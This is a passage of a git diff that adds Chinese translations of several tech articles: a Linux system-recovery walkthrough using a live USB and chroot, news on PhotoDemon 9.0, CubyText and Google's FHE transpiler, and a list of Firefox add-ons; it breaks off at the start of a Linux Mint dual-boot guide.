设备恢复我的 Linux 系统 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/28/121226rh7vq7qhwhqzh76m.jpg) + +> Fedora 现场 USB 发行版为引导和进入恢复模式提供了有效的解决方案。 + +我的家庭实验室里有十几台物理计算机以及更多的虚拟机。这些系统中的大多数是我用来进行测试和实验的。我经常写使用自动化来简化系统管理任务的文章。我还在多个地方写过,我从自己的错误中学到的东西比几乎任何其他方式都多。 + +在过去的几周里,我学到了很多东西。 + +我给自己制造了一个大麻烦。作为多年的系统管理员,我写了数百篇关于 Linux 的文章和五本书,我应该对 Linux 更了解。话又说回来,我们都会犯错,这是一个重要的教训:你永远不会因为有经验而不犯错。 + +我不打算讨论我的错误的细节。告诉你这是一个错误就足够了,在我做之前我应该多考虑一下我在做什么。此外,细节并不是重点。经验不能让你免于犯下的每一个错误,但它可以帮助你恢复。这就是本文要讨论的内容:使用现场 USB 发行版启动并进入恢复模式。 + +### 问题 + +首先,我制造了问题,这本质上是 `/etc/default/grub` 文件的错误配置。接下来,我使用 Ansible 将错误配置的文件分发到我所有的物理计算机并运行 `grub2-mkconfig`。全部 12 个。这真的,真的很快。 + +除了两台之外,所有的都无法启动。它们在 Linux 启动的早期阶段崩溃,出现各种无法定位 `/root` 文件系统的错误。 + +我可以使用 root 密码进入“维护”模式,但是如果没有挂载 `/root`,即使是最简单的工具也无法访问。直接引导到恢复内核也不起作用。系统真的被破坏了。 + +### Fedora 恢复模式 + +解决此问题的唯一方法是找到进入恢复模式的方法。当一切都失败时,Fedora 提供了一个非常酷的工具:用于安装 Fedora 新实例的现场 USBLive USB 驱动器。 + +将 BIOS 设置为从现场 USB 设备启动后,我启动到 Fedora 36 Xfce 的现场live用户桌面。我在桌面上打开了两个相邻的终端会话,并在两者中都切换到了 root 权限。 + +我在其中一个运行了 `lsblk` 以供参考。我使用该结果来识别 `/` 根分区以及 `boot` 和 `efi` 分区。我使用了我的一台虚拟机,如下所示。在这种情况下没有 `efi` 分区,因为此 VM 不使用 UEFI。 + +``` +# lsblk +NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS +loop0 7:0 0 1.5G 1 loop +loop1 7:1 0 6G 1 loop +├─live-rw 253:0 0 6G 0 dm / +└─live-base 253:1 0 6G 1 dm +loop2 7:2 0 32G 0 loop +└─live-rw 253:0 0 6G 0 dm / +sda 8:0 0 120G 0 disk +├─sda1 8:1 0 1G 0 part +└─sda2 8:2 0 119G 0 part + ├─vg01-swap 253:2 0 4G 0 lvm + ├─vg01-tmp 253:3 0 10G 0 lvm + ├─vg01-var 253:4 0 20G 0 lvm + ├─vg01-home 253:5 0 5G 0 lvm + ├─vg01-usr 253:6 0 20G 0 lvm + └─vg01-root 253:7 0 5G 0 lvm +sr0 11:0 1 1.6G 0 rom /run/initramfs/live +zram0 252:0 0 8G 0 disk [SWAP] +``` + +`/dev/sda1` 分区很容易识别为 `/boot`,根(`/`)分区也很明显。 + +在另一个终端会话中,我执行了一系列步骤来恢复我的系统。特定的卷组名称和设备分区(例如 `/dev/sda1`)因系统而异。此处显示的命令特定于我的情况。 + +目标是使用现场 USB 引导并完成启动,然后仅在镜像目录中挂载必要的文件系统,并运行 `chroot` 命令在 chroot 镜像目录中运行 Linux。这种方法绕过损坏的 GRUB(或其他)配置文件。但是,它提供了一个完整的运行系统,其中安装了所有原始文件系统以进行恢复,既是所需工具的来源,也是要进行更改的目标。 + +以下是步骤和相关命令: + +1. 创建目录 `/mnt/sysimage` 以提供 `chroot` 目录的位置。 +2. 将根分区挂载到 `/mnt/sysimage`: + ``` + # mount /dev/mapper/vg01-root /mnt/sysimage + ``` +3. 将 `/mnt/sysimage` 设为你的工作目录: + ``` + # cd /mnt/sysimage + ``` +4. 挂载 `/boot` 和 `/boot/efi` 文件系统。 +5. 挂载其他主要文件系统。此步骤不需要像 `/home` 和 `/tmp` 这样的文件系统: + ``` + # mount /dev/mapper/vg01-usr usr + + # mount /dev/mapper/vg01-var var + ``` +6. 绑定已挂载的重要文件系统,它们必须在已经 chroot 的系统和原始的现场系统之间共享,而后者仍然在外部运行: + ``` + # mount --bind /sys sys + + # mount --bind /proc proc + ``` +7. 一定要最后操作 `/dev` 目录,否则其他文件系统不能挂载: + ``` + # mount --bind /dev dev + ``` +8. chroot 到系统镜像: + ``` + # chroot /mnt/sysimage + ``` + +系统现在已经准备好了,无论你需要做什么,都可以把它恢复到一个工作状态。然而,有一次我能够在这种状态下运行我的服务器数天,直到我能够研究测试出真正的修复方法。我并不推荐这样做,但在紧急情况下,当有任务需要启动和运行时,这可能是一个选择。 + +### 解决方案 + +当我让每个系统进入恢复模式,修复就很容易了。因为我的系统现在就像成功启动一样工作,我只需对 `/etc/default/grub` 和 `/etc/fstab` 进行必要的更改并运行 `grub2-mkconfig > boot/grub2/grub.cfg` 命令。我使用 `exit` 命令退出 chroot 环境,然后重启主机。 + +当然,我无法自动从我的意外事故中恢复过来。我必须在每台主机上手动执行整个过程,这是使用自动化快速和容易地传播我自己的错误的一点报应。 + +### 得到教训 + +尽管它们很有用,我曾经讨厌在我的一些系统管理员工作中举行的“经验教训”会议,但看来我确实需要提醒自己一些事情。因此,这里是我从这场自作自受的惨败中获得的“教训”。 + +首先,无法引导的十个系统使用了不同的卷组命名方案,而我的新 GRUB 配置没有考虑到这一点。我只是忽略了它们可能不同的事实。 + +* 彻底考虑清楚。 +* 并非所有系统都相同。 +* 测试一切。 +* 验证一切。 +* 永远不要做假设。 + +现在一切正常。希望我也聪明一点。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/recover-linux-system-live-usb + +作者:[David Both][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/markus-winkler-usb-unsplash.jpg +[2]: https://unsplash.com/@markuswinkler?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/usb?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText diff --git a/published/202209/20220912 Open Source PhotoDemon 9.0 Is Now Available For Download.md b/published/202209/20220912 Open Source PhotoDemon 9.0 Is Now Available For Download.md new file mode 100644 index 0000000000..3a898e0068 --- /dev/null +++ b/published/202209/20220912 Open Source PhotoDemon 9.0 Is Now Available For Download.md @@ -0,0 +1,52 @@ +[#]: subject: "Open Source PhotoDemon 9.0 Is Now Available For Download" +[#]: via: "https://www.opensourceforu.com/2022/09/open-source-photo-editor-photodemon-9-0-is-now-available/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15033-1.html" + +开源照片编辑器 PhotoDemon 9.0 现已可供下载 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/09/cameras-camera-reviews-crystal-displays-photographs-film-1536x1076.jpg) + +经过两年的发展,自由开源的照片编辑器 PhotoDemon 的作者已推出了 PhotoDemon 9.0。新版本增强了用户界面,内置了对 Adobe Photoshop 插件的支持,支持了新的图像格式,减少了资源使用等等。根据用户在 “工具Tools > 选项Options > 更新Updates” 下的设置,已经安装了 PhotoDemon 9.0 可以自动收到更新推送。你也可以选择通过 “帮助Help > 检查更新Check for Updates” 手动更新。 + +PhotoDemon 这个便携程序提供压缩包下载。解压到系统,就能启动这个照片编辑器。可能最新版本会让Windows 可能会发出 SmartScreen 警告,VirusTotal 上的两个不太知名的杀毒软件也会报毒(以上都是误报)。新的 PhotoDemon 消耗的资源比以前的版本少,这是它的优点之一。例如,它在冷启动后使用的内存也比以前的版本少 12%。 + +用过老版本的用户切换到新版本可能会立即注意到新的界面。比如大多数选项现在都以弹出的方式显示,最常用的工具显示在工具栏上。根据作者的说法,新的用户界面使用了“旧版本不到一半的垂直空间”,而且不会牺牲功能。 + +用户界面仍然可以适配各种显示分辨率,包括 1024×768 这样的传统分辨率。且新版本中打开的照片会有更多空间。在早期的版本中,照片编辑器的选择工具表现出色。最新版本中包含对多选区的支持。添加选区、减去选区和相交选区可用于组合选择,即使在多个选区处于活动状态时,你仍然能编辑刚创建的选区。 + +内容填充工具,通常称为智能对象移除或涂抹,是另一个新功能。要使用它,用户可以选择 “编辑Edit > 内容填充Content-aware fill” 或 “选择Select > 修复选区Heal selected region”。虽然该工具是自主操作的,也能个性化一些设置和选项。该功能既不需要人工智能也不需要互联网连接。事实上,正因为如此,如果多次运行该工具可能会带来更好的图片。 + +PhotoDemon 9.0 支持新的图像格式。新版本提供 PSP 图片、AVIF 和动画 WebP 图像的导入和导出功能。尽管有 AVIF 支持,但由于其大小,并未内置必要的编码器和解码器应用程序。用户首次加载或保存 AVIF 文件时会下载必要的数据。现在可以导入 XCF(GIMP)、SVG 和 SVGZ 格式的图像。 + +最后但同样重要的是,PhotoDemon 9.0 支持无损 “quite OK”(QOI)照片、Symbian 图像(MBM 和 AIF)、漫画书档案(CBZ)和无损 JPEG(JPEG-LS)图像。作者称最新版本中的自动优化 GIF 的功能是同类产品中最佳的。新的神经网络颜色量化器也有助于依赖调色板的图像格式。 + +PhotoDemon 9.0 的新增增强功能包括: + +- 图像调整器提供了 12 种复杂的重采样技术的实时交互式预览。 +- 支持内置的 Adobe Photoshop 插件(8bf)。 +- 完全支持 3D LUT(三维查找表)。 +- 新效果包括渐变流、凹凸贴图、Droste 和 Truchet 贴图。 +- 改进了结晶和染色玻璃的工具。 +- 一种新的去雾工具,用于恢复“被雾霾或雾霾破坏”的照片。 +- 新的用户界面和改进的工具性能曲线。 +- 为了“更好地匹配 Photoshop 的实现”,照片滤镜工具已经过重新设计。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/open-source-photo-editor-photodemon-9-0-is-now-available/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202209/20220913 11 Interesting Firefox Add-ons to Improve Your Browsing Experience.md b/published/202209/20220913 11 Interesting Firefox Add-ons to Improve Your Browsing Experience.md new file mode 100644 index 0000000000..3536b7615c --- /dev/null +++ b/published/202209/20220913 11 Interesting Firefox Add-ons to Improve Your Browsing Experience.md @@ -0,0 +1,275 @@ +[#]: subject: "11 Interesting Firefox Add-ons to Improve Your Browsing Experience" +[#]: via: "https://itsfoss.com/firefox-add-ons/" +[#]: author: "Pratham Patel https://itsfoss.com/author/pratham/" +[#]: collector: "lkxed" +[#]: translator: "gpchn" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15046-1.html" + +11 个有趣的 Firefox 浏览器扩展,改善你的浏览体验 +====== + +1[](https://img.linux.net.cn/data/attachment/album/202209/19/142052i277yjgyy11zzrdu.jpg) + +我想我们都同意,Firefox 是 [Linux 的最佳浏览器][1] 之一。 + +而且锦上添花的是,你可以用一些扩展来提高你的浏览体验! 也许甚至可以将 Facebook 隔离在容器中?😉 + +在我推荐一些优秀的 Firefox 浏览器扩展之前,让我给你一些提示。 + +### 安装 Firefox 扩展前须知 + +我们都知道的一件事是 [盲目地安装浏览器扩展可能是极其有害的][2]。那么如何确定浏览器扩展是否可以安全使用? + +由于本文是关于 Firefox 扩展的,我们将重点放在 Firefox 的*市场*(获取扩展的官方渠道)。 + +虽然没有什么是 100% 安全的,但有几件事可以检查: + +![一个理想的可以安全使用的 Firefox 扩展][3] + +* [扩展的徽章][4]:寻找“推荐”或“By Firefox”徽章;忽略包含警告徽章/图标的扩展。 +* 菜单和评论:虽然仅此一项并不能提供太多保证,但这是你可以在其他方面考虑的一件事。此外,关注评论的数量可以帮助你了解它在用户中是否足够受欢迎。 +* [扩展的权限][5]:某些扩展需要诸如“访问浏览器标签页”、“导航时访问浏览器动作”等权限。记下这一点并确定你对哪些权限的舒适程度。 +* 最后更新日期:有时,即使是优秀的、知名的扩展也不会更新。这没关系,但对于像密码管理器、广告拦截器这样的扩展来说,这很重要。应始终谨慎使用超过 2 个月没更新的扩展。 +* 扩展发布者:始终确保扩展的发布者是你信任的人,或者已经发布了你信任的扩展。 + +话虽如此,让我们来看看一些可以改善你的网络浏览体验的扩展。 + +另请阅读: + +> **[9 个开源扩展可改善你的 Mozilla Firefox 体验][6]** + +### 1、Facebook Container + +![Facebook Container][7] + +**主要亮点:** + +* 由 Mozilla Firefox 团队制作 +* 平均评分为 4.5 星(3,500 多条评论) +* 定期更新 + +每个人都讨厌 Facebook,但很少有人愿意从自己的网站上删除 Facebook 的跟踪元素。所以 Mozilla 引用了一个灭霸的片段 —— “好吧,我自己做”,并为 Firefox 用户创建了这个扩展。 + +顾名思义,为 Facebook 创建了一个隔离容器(与 Docker 无关)。所有与 Facebook 相关的东西都发生在这个孤立的容器中。 这最终使社交媒体巨头更难追踪你。 + +> **[安装 Facebook Container][8]** + +### 2、uBlock Origin + +![ublock origin firefox 1][9] + +**主要亮点:** + +* Mozilla 推荐的扩展 +* 4.8 星的平均评分(14,000 多条评论) +* 定期更新 + +uBlock Origin 是 Firefox 最知名和最受信任的“广告拦截”扩展之一。是的,它主要用于屏蔽广告,但因为它的基本任务是屏蔽你的网络浏览器中的元素,所以它可以屏蔽很多项目。广告,是的,还有网络跟踪器、加密货币矿工、弹出窗口等。 + +虽然它的权限可能看起来有点过分,但这背后是有原因的。该扩展需要“*在导航期间访问浏览器活动*”和“*访问所有网站的数据*”等权限,以便它可以评估每个查询并阻止那些看起来有害或无用的查询。 + +> **[安装uBlock Origin][10]** + +### 3、Bitwarden + +![Bitwarden 演示][11] + +**主要亮点:** + +* Mozilla 推荐的扩展 +* 平均评分为 4.8 星(6000 多条评论) + +Bitwarden 应该是每个人的首选密码管理器。它为移动端、网页端和 PC 端提供免费同步支持,还可以安全地存储笔记,帮助生成用户名**和**密码、自动填充用户信息等等。最重要的是,[它使用 GPL-3.0 许可证][12]。谁不喜欢自由开源软件? + +Bitwarden 拥有*我会在密码管理器中寻找*的一切。如果你想升级到高级版,只需 10 美元。 我强烈推荐这个 Firefox 扩展! + +> **[安装 Bitwarden][13]** + +### 4、LanguageTool + +![LanguageTool 扩展使用演示][14] + +**主要亮点:** + +* Mozilla 推荐的扩展 +* 平均评分为 4.7 星(2900 多条评论) +* 定期更新 + +你是否想要 [Grammarly][15] 的开源替代品?虽然我在使用 Grammarly 时没有任何问题,但我真正喜欢和首选的是自由开源软件。LanguageTool 是一款出色的工具,可用于检查拼写错误等语法不一致、使用不同的拼写(color 与 colour)、常见的混淆词(then 与 than),你还可以使用它获得同义词库。 + +根据我使用此扩展的经验,它几乎可以在所有文本上可靠地工作。毫无问题。该扩展最大的两个特点如下: + +* 支持超过 25 种语言。支持的语言列在“关于此扩展程序”部分的底部。 +* 使用此扩展无需注册! + +> **[安装 LanguageTool][16]** + +### 5、Tranquikity Reader + +![firefox tanquility][17] + +想象一下,你正在阅读互联网上的一篇文章,网页顶部和底部有两个横幅广告,整个右侧都是广告,底部的广告横幅是自动播放的视频。你打开广告拦截器,但视频继续播放。有时横幅中没有广告,但它们仍然占用了宝贵的屏幕空间。你是否感觉很烦恼? + +别担心,看,Firefox 的 **Tranquility Reader** 扩展可以解决这个问题。此扩展程序删除了“额外的”元素,如照片、视频、广告、社交媒体共享按钮等。它为你提供了一个干净的 UI,只有文本,因此你可以专注于阅读。 + +Tranquility Reader 扩展具有以下统计信息: + +* Mozilla 推荐的扩展 +* 平均评分为 4.6 星(200 条评论) +* 不经常更新但积极维护 + +> **[安装 Tranquility][18]** + +### 6、Enhancer for YouTube + +![Enhancer for YouTube 一项功能的演示][19] + +**主要亮点:** + +* Mozilla 推荐的扩展 +* 平均 4.7 星评级(9,000 多条评论) + +它是 Firefox 中众多 Youtube 增强扩展之一。它为 YouTube 播放器添加了一些按钮,允许进行更多的自定义。你可以获得诸如更改分辨率、控制播放速度、使用鼠标滚轮控制音频音量等功能。 + +你可以在其 [官方网页][20] 上找到有关该扩展程序的更多信息。 + +> **[安装 Enhancer for YouTube][21]** + +### 7、Tomato Clock + +![Tomato Clock][22] + +当你上网时,跟踪你的时间、生产力和理智是至关重要的。尤其是当你正在研究一个主题并陷入困境时,你应该休息一下,但你会过于投入,以至于你可能会忘记时间。 + +Tomato Clock 扩展正如它的名字,它是一个时钟定时器。一个“番茄”有 25 分钟长,根据你对屏幕上显示的内容的心理投入而感觉或长或短。完成 25 分钟后,你将收到一个浏览器通知,通知你时间的流逝。 + +**主要亮点:** + +* Mozilla 推荐的扩展 +* 它的平均评分为 4.5 星(300 多条评论) +* 使用 GPL v3.0 许可证 + +> **[安装 Tomato Clock][23]** + +### 8、Search by Image + +![演示 Firefox 的图片搜索扩展的“捕获”功能][24] + +**关键亮点:** + +* Mozilla 推荐的扩展 +* 平均评分为 4.6 星(1,100 多个评论) +* 对你上传的媒体采用了合理的 [隐私政策][26] + +当你搜索“红色兰博基尼”一词时,你会得到红色兰博基尼的图片。但是,如果你不知道它是什么车呢?这个扩展允许你使用图像而不是文字术语来搜索图像,并显示类似的结果或该图像的来源地。 + +你可以通过以下方式选择图片进行搜索: + +* 选择 URL:这使你可以直接点击显示在网页上的图像。 +* 网页截图:选择网页上的一个特定区域,以便进行反向图像搜索。 +* 本地图片:从计算机的本地驱动器(而不是网页)上传一个现有的图像。 +* URL:粘贴图像的 URL 以进行反向图像搜索。 + +> **[安装 Search by Image][27]** + +### 9、Dictionary Anywhere + +![Dictionary Anywhere 扩展显示所选单词的含义][28] + +**主要亮点:** + +* Mozilla 推荐的扩展 +* 平均 4.3 星评级(260 条评论) +* 不定期更新 + +有一个无障碍的字典从来都不是一件坏事!当然,我已经被 macOS 的“压感查询”功能宠坏了。当我使用 Linux 时,Firefox 的 Dictionary Anywhere 扩展确实弥补了这一点。我需要做的就是双击一个词,然后定义就会弹出来! + +目前,支持的语言只有英语、西班牙语、德语和法语。请注意,这个扩展不能在 Firefox 的阅读模式下工作。这是因为脚本不允许在这种模式下执行。 + +一个小瑕疵是,这使得在一个可编辑的文本中“双击并选择整个单词”变得略微恼人。这是为方便性付出的一个小代价。 + +此外,如果你想要一个积极维护的扩展,这将使你失望。 + +> **[下载 Dictionary Anywhere][29]** + +### 10、Vimium-FF + +![vimium FF][30] + +**主要亮点:** + +* 平均评分 4.8 星(400 多条评论) +* 实验性扩展 + +如果你是 Vim 用户,我就不需要向你解释了,自己去试试吧!你会回来感谢我的。 + +对于那些不知道这个扩展做什么的人,它允许你仅使用 Vim 样式的键在 Firefox 中导航。按 `J` 键向下滚动、`K` 键向上滚动、`X` 键关闭当前选项卡、`T` 键打开一个新选项卡,以及各种其他键盘快捷键。 + +虽然这个扩展有“**实验性**”标志,但在过去一两年的使用经验中,我没有遇到任何问题。 + +> **[下载 Vimium-FF][31]** + +### 11、FireShot + +![fireshot][32] + +FireShot 是一个非常简单的 Firefox 扩展,它允许你将完整的网页截图并保存为长图或 PDF 文件,最重要的是,你还可以在截图上注释(哈哈哈)!但是注释功能只能在 Windows 上使用,真是太可惜了! + +它**没有 Firefox 的“推荐”徽章**。 因此,你可以在决定使用它之前在其附加页面上探索更多有关它的信息。 + +> **[下载 FireShot][33]** + +### 总结 + +本文涵盖了各种 Firefox 扩展,我认为这些扩展应该有助于改善你的 Web 浏览体验。 + +你最喜欢的 Firefox 扩展是什么? 在下面的评论中让我知道你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/firefox-add-ons/ + +作者:[Pratham Patel][a] +选题:[lkxed][b] +译者:[gpchn](https://github.com/gpchn) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pratham/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-browsers-ubuntu-linux/ +[2]: https://www.bleepingcomputer.com/news/security/chrome-extensions-with-14-million-installs-steal-browsing-data/ +[3]: https://itsfoss.com/wp-content/uploads/2022/09/bitwarden-firefox-add-on.jpg +[4]: https://support.mozilla.org/en-US/kb/add-on-badges +[5]: https://support.mozilla.org/en-US/kb/permission-request-messages-firefox-extensions +[6]: https://itsfoss.com/best-firefox-add-ons/ +[7]: https://itsfoss.com/wp-content/uploads/2022/09/facebook-container.jpg +[8]: https://addons.mozilla.org/en-US/firefox/addon/facebook-container/ +[9]: https://itsfoss.com/wp-content/uploads/2022/09/ublockorigin-firefox-1.jpg +[10]: https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/ +[11]: https://itsfoss.com/wp-content/uploads/2022/09/03-bitwarden.webp +[12]: https://github.com/bitwarden/clients/blob/master/LICENSE.txt +[13]: https://addons.mozilla.org/en-US/firefox/addon/bitwarden-password-manager/ +[14]: https://itsfoss.com/wp-content/uploads/2022/09/04-languagetool.webp +[15]: https://www.grammarly.com/ +[16]: https://addons.mozilla.org/en-US/firefox/addon/languagetool/ +[17]: https://itsfoss.com/wp-content/uploads/2022/09/firefox-tanquility.jpg +[18]: https://addons.mozilla.org/en-US/firefox/addon/tranquility-1/ +[19]: https://itsfoss.com/wp-content/uploads/2022/09/06-enhancer-for-yt.webp +[20]: https://www.mrfdev.com/how-to-use-enhancer-for-youtube +[21]: https://addons.mozilla.org/en-GB/firefox/addon/enhancer-for-youtube +[22]: https://itsfoss.com/wp-content/uploads/2022/09/tomato-time-management.jpg +[23]: https://addons.mozilla.org/en-US/firefox/addon/tomato-clock/ +[24]: https://itsfoss.com/wp-content/uploads/2022/09/08-src-by-img.webp +[25]: https://addons.mozilla.org/en-US/firefox/addon/search_by_image/privacy/ +[26]: https://addons.mozilla.org/en-US/firefox/addon/search_by_image/privacy/ +[27]: https://addons.mozilla.org/en-US/firefox/addon/search_by_image/ +[28]: https://itsfoss.com/wp-content/uploads/2022/09/09-dict-anywhere.webp +[29]: https://addons.mozilla.org/en-GB/firefox/addon/dictionary-anyvhere/ +[30]: https://itsfoss.com/wp-content/uploads/2022/01/vimium-firefox.png +[31]: https://addons.mozilla.org/en-GB/firefox/addon/vimium-ff/ +[32]: https://itsfoss.com/wp-content/uploads/2022/09/fireshot.jpg +[33]: https://addons.mozilla.org/en-GB/firefox/addon/fireshot/ diff --git a/published/202209/20220913 CubyText is a Fast Cross-Platform Open-Source Knowledge Management App in Development.md b/published/202209/20220913 CubyText is a Fast Cross-Platform Open-Source Knowledge Management App in Development.md new file mode 100644 index 0000000000..a66304e099 --- /dev/null +++ b/published/202209/20220913 CubyText is a Fast Cross-Platform Open-Source Knowledge Management App in Development.md @@ -0,0 +1,80 @@ +[#]: subject: "CubyText is a Fast Cross-Platform Open-Source Knowledge Management App in Development" +[#]: via: "https://news.itsfoss.com/cubytext-experimental-project/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15053-1.html" + +CubyText:一个正在开发中的快速的跨平台开源知识管理应用 +====== + +> CubyText 是一个迷人的个人项目,你可以分叉或尝试作为一个知识管理应用。 + +![CubyText 是一个正在开发中的快速的跨平台开源知识管理应用][1] + +有很多开源应用可以帮助你记下并组织你的想法、研究或知识。 + +如果你不记得它们,请允许我分享其中的几个: + +* [Logseq][2] +* [Obisidian][3] + +当然,你还可以探索一些最适合这项工作的笔记应用: + +> **[这里是我们为你找到的最好的 Linux 笔记应用][4]** + +但是,我看到了 **Vincent Chan** 的个人项目,它提供了类似于 Notion 的外观,专注于成为一种快速且私密的选择。 + +> 💡 请注意,开发者并不打算将其作为任何商业项目的替代品。它是一个实验性的应用程序,以满足他的要求。不要指望它能取代你最喜欢的任何应用程序。 + +### CubyText:实验性知识管理应用 + +![cuby text][6] + +[CubyText][7] 是一款自由开源的**跨平台**知识管理应用,还处于早期开发阶段。 + +*📢 该项目的第一个版本于 9 月 12 日上线。所以,它是真的新啊。* + +你可以在 Linux、macOS 和 Windows 上试用它。 **.deb** 文件可用于 Linux。 + +该项目的有趣之处在于其类似于 Notion 的用户界面与块编辑器的概念。开发者为这个工具建立了一个 [块编辑器][8],以便能够组织内容。 + +![cuby text][9] + +因此,你在此处添加的任何内容都是按块组织的。它支持带有 Markdown 标记的富文本,因此你可以轻松地增强你的笔记。 + +此外,你可以添加选项卡以快速创建更多笔记以及一目了然地了解信息。你还可以在上面的截图中注意到待办事项列表。 + +看起来很有趣,对吧? + +如果你好奇,请前往它的 [GitHub 页面][10] 并为你的平台下载适当的包进行测试。 + +> **[CubyText][11]** + +*💬 你如何看待 CubyText 这个个人项目?你想要这样的东西来代替你的笔记知识管理应用吗?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/cubytext-experimental-project/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/cuby-text-ft.png +[2]: https://itsfoss.com/logseq/ +[3]: https://itsfoss.com/obsidian-markdown-editor/ +[4]: https://itsfoss.com/note-taking-apps-linux/ +[6]: https://news.itsfoss.com/content/images/2022/09/cubytext.png +[7]: https://github.com/vincentdchan/CubyText +[8]: https://github.com/vincentdchan/blocky-editor +[9]: https://news.itsfoss.com/content/images/2022/09/cubytext-tabs.png +[10]: https://github.com/vincentdchan/CubyText +[11]: https://github.com/vincentdchan/CubyText diff --git a/published/202209/20220914 Google Uses Fully Homomorphic Open Source Duality-Led Encryption Library.md b/published/202209/20220914 Google Uses Fully Homomorphic Open Source Duality-Led Encryption Library.md new file mode 100644 index 0000000000..7036138cb0 --- /dev/null +++ b/published/202209/20220914 Google Uses Fully Homomorphic Open Source Duality-Led Encryption Library.md @@ -0,0 +1,39 @@ +[#]: subject: "Google Uses Fully Homomorphic Open Source Duality-Led Encryption Library" +[#]: via: "https://www.opensourceforu.com/2022/09/google-uses-fully-homomorphic-open-source-duality-led-encryption-library/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15048-1.html" + +谷歌使用 Duality 主导的完全同态开源加密库 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/09/google-3-1536x1123.jpg) + +> 合作伙伴关系的增长加速了 FHE 市场的采用。 + +据 Duality 技术公司的新闻稿,谷歌已将其在 GitHub 上开源的使用 XLS SDK 开发的开源项目完全同态加密(FHE)转译器与领先的开源完全同态加密fully homomorphic encryption库 OpenFHE 合并。通过使加密知识更简单、更容易接近,开发者对 FHE 的采用将增加。 + +这类称为 FHE 的加密技术不同于更常见的加密技术,因为它可以直接对加密数据进行计算,而无需密钥。一个由知名密码学家组成的社区创建了 OpenFHE,这是一个根深于后量子开源晶格密码学的加密库。 + +该库旨在实现最佳可用性、增强的 API、模块化、跨平台可移植性,以及与硬件结合时的项目加速器。开发人员可以通过将 OpenFHE 与谷歌的转译器结合起来,使用高级代码来操作加密数据,例如经常用于未加密数据的 C++,而不需要学习密码学。 + +谷歌的转译器简化了使用 FHE 驱动的应用程序的过程,而无需目前从头开始构建 FHE 所需的广泛的软件开发专业知识。这填补了软件设计人员和开发人员偶尔遇到的空白,他们希望从 FHE 的功能中受益,而不必经历那具有挑战性的学习曲线。 + +Duality 公司的密码学研究高级主管兼首席科学家 Yuriy Polyakov 补充说:“我们的团队通过我们的 OpenFHE 库达成了重要的里程碑,它已迅速成为当今许多技术领导者的选择,例如谷歌。谷歌转译器为那些非 FHE 专家的应用开发者社区提供了 OpenFHE 同态加密的最新技术。” + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/google-uses-fully-homomorphic-open-source-duality-led-encryption-library/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202209/20220914 Install Linux Mint with Windows 11 Dual Boot [Complete Guide].md b/published/202209/20220914 Install Linux Mint with Windows 11 Dual Boot [Complete Guide].md new file mode 100644 index 0000000000..34b647b5a1 --- /dev/null +++ b/published/202209/20220914 Install Linux Mint with Windows 11 Dual Boot [Complete Guide].md @@ -0,0 +1,175 @@ +[#]: subject: "Install Linux Mint with Windows 11 Dual Boot [Complete Guide]" +[#]: via: "https://www.debugpoint.com/linux-mint-install-windows/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "gpchn" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15073-1.html" + +使用 Windows 11 双引导安装 Linux Mint +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/26/115222iqlvc0w020m37mc3.jpg) + +> 将 Linux Mint 与 Windows 11(或 Windows 